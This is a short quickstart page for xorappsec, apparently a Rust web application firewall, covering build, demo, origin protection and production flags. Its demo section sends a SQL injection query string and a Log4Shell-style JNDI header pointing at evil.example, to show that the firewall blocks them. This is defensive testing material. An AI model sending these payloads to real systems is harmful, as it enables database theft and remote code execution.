A playground in one command

You need Rust 1.90+ and a checkout of the repository.

cargo build --release -p xorappsec
./target/release/xorappsec demo

• Protected app — http://127.0.0.1:8080
• Dashboard — http://127.0.0.1:9090
• Bare origin (do not expose) — 127.0.0.1:18080

See it block something

curl -sS 'http://127.0.0.1:8080/'
curl -sS -D- 'http://127.0.0.1:8080/search?q=1%27%20UNION%20SELECT%20password%20FROM%20users--'
curl -sS -D- -H 'X-Api-Version: ${jndi:ldap://evil.example/a}' http://127.0.0.1:8080/
./examples/smoke.sh

Protect your own origin

xorappsec all --upstream http://127.0.0.1:3000 --listen 0.0.0.0:8080

Production-shaped

export XORAPPSEC_MGMT_TOKEN="$(openssl rand -hex 32)"
xorappsec doctor --require-mgmt-auth
xorappsec all --config config/runtime.prod.yaml --require-mgmt-auth --fail-open false

Next: tutorials · quickstart · platforms · production